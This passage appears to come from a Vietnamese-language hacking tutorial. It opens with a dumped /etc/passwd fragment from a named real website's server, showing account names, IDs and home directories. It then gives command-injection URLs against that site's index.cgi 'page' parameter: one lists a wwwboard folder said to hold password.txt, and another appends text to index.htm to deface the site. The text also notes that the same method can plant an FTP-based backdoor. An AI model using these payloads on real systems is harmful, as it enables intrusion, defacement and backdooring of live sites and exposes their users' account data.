:/mnt/web/guide/mx:/bin/false ebask6:*:1412:105: :/mnt/web/guide/mx:/bin/false ebask7:*:1413:105: :/mnt/web/guide/mx:/bin/false regon:*:1418:102:,,,:/mnt/web/guide/o-regon:/bin/false nrh:*:1426:102:,,,:/mnt/web/guide/hogan-international:/bin/bash protis:*:1427:102:,,,:/mnt/web/guide/protis:/bin/false galbright3:*:1440:105: :/mnt/web/guide/mx:/bin/false galbright4:*:1441:105: :/mnt/web/guide/mx:/bin/false igait26:*:1448:101:,,,:/web/guide/mx:/bin/pop razortruss8:*:1449:105: :/mnt/web/guide/mx:/bin/pop razortruss9:*:1450:105: :/mnt/web/guide/mx:/bin/false peoplesc:*:1455:102:,,,:/mnt/web/guide/peoplescredit:/bin/bash fwp:*:1457:102:,,,:/mnt/web/guide/fastwebpages:/bin/false weallse

f. Thử xem trong thư mục wwwboard có gì không

http://www.randalloglegallery.com/index.cgi?page=|ls /mnt/web/guide/randalloglegallery/wwwboard|

Không biết có đúng không các bạn kiểm định lại đường dẫn nhé



Hình như trong đó có file index.htm và password.txt gì đó



g. Tạo dòng chữ "Các bạn không nên deface trang web như vậy" trên tệp index.htm"
http://www.randalloglegallery.com/index.cgi?page=|echo Cac ban khong nen deface trang web nhu vay >> /mnt/web/guide/randalloglega/wwwboard/index.htm|

Lệnh echo dùng để tạo một file html với nội dung các bạn muốn, nếu trong máy có một tệp như vậy nó sẽ xóa tệp này và đè tệp của bạn vào, bằng cách này bạn cũng có thể tạo một file FTP để cài backdoor vào trang.

http://www.randalloglegallery.com/wwwboard/index.htm sẽ thấy kết quả